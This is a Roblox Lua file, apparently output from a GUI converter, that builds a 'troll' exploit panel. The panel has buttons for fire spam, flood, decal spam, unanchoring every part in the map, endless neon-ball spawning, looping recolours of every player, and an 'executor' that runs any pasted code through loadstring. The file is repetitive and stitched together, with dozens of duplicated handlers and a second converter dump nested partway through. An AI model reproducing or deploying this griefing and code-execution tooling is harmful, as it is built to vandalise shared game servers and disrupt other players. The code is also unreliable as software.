part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
end;
task.spawn(C_17);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_19()
local script = G2L["19"];
script.Parent.MouseButton1Down:Connect(function()
for i,v in pairs(game.Workspace:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
end)
end;
task.spawn(C_19);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1b()
local script = G2L["1b"];
script.Parent.MouseButton1Click:Connect(function()
while true do
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
wait()
doom=Instance.new("Part")
local imnotfat = math.random(1, 3)
if imnotfat == 1 then
doom.Shape = "Ball"
else if imnotfat == 2 then
doom.Shape = "Cylinder"
else
end end
doom.Material = "Neon"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
yooka=math.random(-200, -50)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, yooka, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, 800, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
end
end)
end;
task.spawn(C_1b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
function click()
for _,player in pairs(game.Players:GetPlayers()) do
spawn(function()
while wait(0.7) do
player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random()
end
end)
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_20);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_22()
local script = G2L["22"];
script.Parent.MouseButton1Click:Connect(function()
local Lighting = game:GetService("Lighting")
local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting)
function zigzag(X)
return math.acos(math.cos(X*math.pi))/math.pi
end
Counter = 0
Lighting.TimeOfDay = "15:00"
while wait(0.01) do
ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1)
Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1)
Counter += 0.01
end
end)
end;
task.spawn(C_22);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_24()
local script = G2L["24"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "synapse x de buget"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end)
end;
task.spawn(C_24);
return G2L["1"], require;
end)
end;
task.spawn(C_12);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
script.Parent.MouseButton1Click:Connect(function()
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 61 | Scripts: 26 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95);
G2L["2"]["BorderMode"] = Enum.BorderMode.Inset;
G2L["2"]["Size"] = UDim2.new(0, 457, 0, 465);
G2L["2"]["Position"] = UDim2.new(0.31963, 0, 0.18791, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ScreenGui.Frame.ImageLabel
G2L["3"] = Instance.new("ImageLabel", G2L["2"]);
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["3"]["Image"] = [[rbxassetid://124868710717730]];
G2L["3"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["BackgroundTransparency"] = 1;
G2L["3"]["Position"] = UDim2.new(0.05445, 0, -0.26592, 0);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["4"] = Instance.new("TextLabel", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["RichText"] = true;
G2L["4"]["Size"] = UDim2.new(0, 241, 0, 25);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[zncgui]];
G2L["4"]["Position"] = UDim2.new(0.25028, 0, -0.00292, 0);
-- StarterGui.ScreenGui.Frame.TextLabel.UICorner
G2L["5"] = Instance.new("UICorner", G2L["4"]);
G2L["5"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["6"] = Instance.new("TextButton", G2L["2"]);
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["TextSize"] = 14;
G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6"]["BackgroundTransparency"] = 0.2;
G2L["6"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Text"] = [[Troll gui 🤣🤣🤣]];
G2L["6"]["Position"] = UDim2.new(0.69214, 0, 0.40428, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["7"] = Instance.new("LocalScript", G2L["6"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["8"] = Instance.new("TextButton", G2L["2"]);
G2L["8"]["BorderSizePixel"] = 0;
G2L["8"]["TextSize"] = 14;
G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["BackgroundTransparency"] = 0.2;
G2L["8"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Text"] = [[znc_13 executor]];
G2L["8"]["Position"] = UDim2.new(0.08064, 0, 0.40433, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["8"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["a"] = Instance.new("TextButton", G2L["2"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextSize"] = 14;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["BackgroundTransparency"] = 0.2;
G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[hint]];
G2L["a"]["Position"] = UDim2.new(0.37673, 0, 0.40448, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["c"] = Instance.new("TextButton", G2L["2"]);
G2L["c"]["BorderSizePixel"] = 0;
G2L["c"]["TextSize"] = 14;
G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["BackgroundTransparency"] = 0.2;
G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["Text"] = [[skybox]];
G2L["c"]["Position"] = UDim2.new(0.07942, 0, 0.30198, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["BackgroundTransparency"] = 0.2;
G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[znc_ 13 decal spam]];
G2L["e"]["Position"] = UDim2.new(0.3732, 0, 0.30316, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["10"] = Instance.new("TextButton", G2L["2"]);
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextSize"] = 14;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["BackgroundTransparency"] = 0.2;
G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[particle]];
G2L["10"]["Position"] = UDim2.new(0.69312, 0, 0.30388, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["12"] = Instance.new("TextButton", G2L["2"]);
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["BackgroundTransparency"] = 0.2;
G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[skeleton sky]];
G2L["12"]["Position"] = UDim2.new(0.07597, 0, 0.19633, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["14"] = Instance.new("TextButton", G2L["2"]);
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["BackgroundTransparency"] = 0.2;
G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[flood]];
G2L["14"]["Position"] = UDim2.new(0.37805, 0, 0.19297, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["16"] = Instance.new("TextButton", G2L["2"]);
G2L["16"]["BorderSizePixel"] = 0;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["BackgroundTransparency"] = 0.2;
G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[666]];
G2L["16"]["Position"] = UDim2.new(0.69183, 0, 0.19236, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["18"] = Instance.new("TextButton", G2L["2"]);
G2L["18"]["BorderSizePixel"] = 0;
G2L["18"]["TextSize"] = 14;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
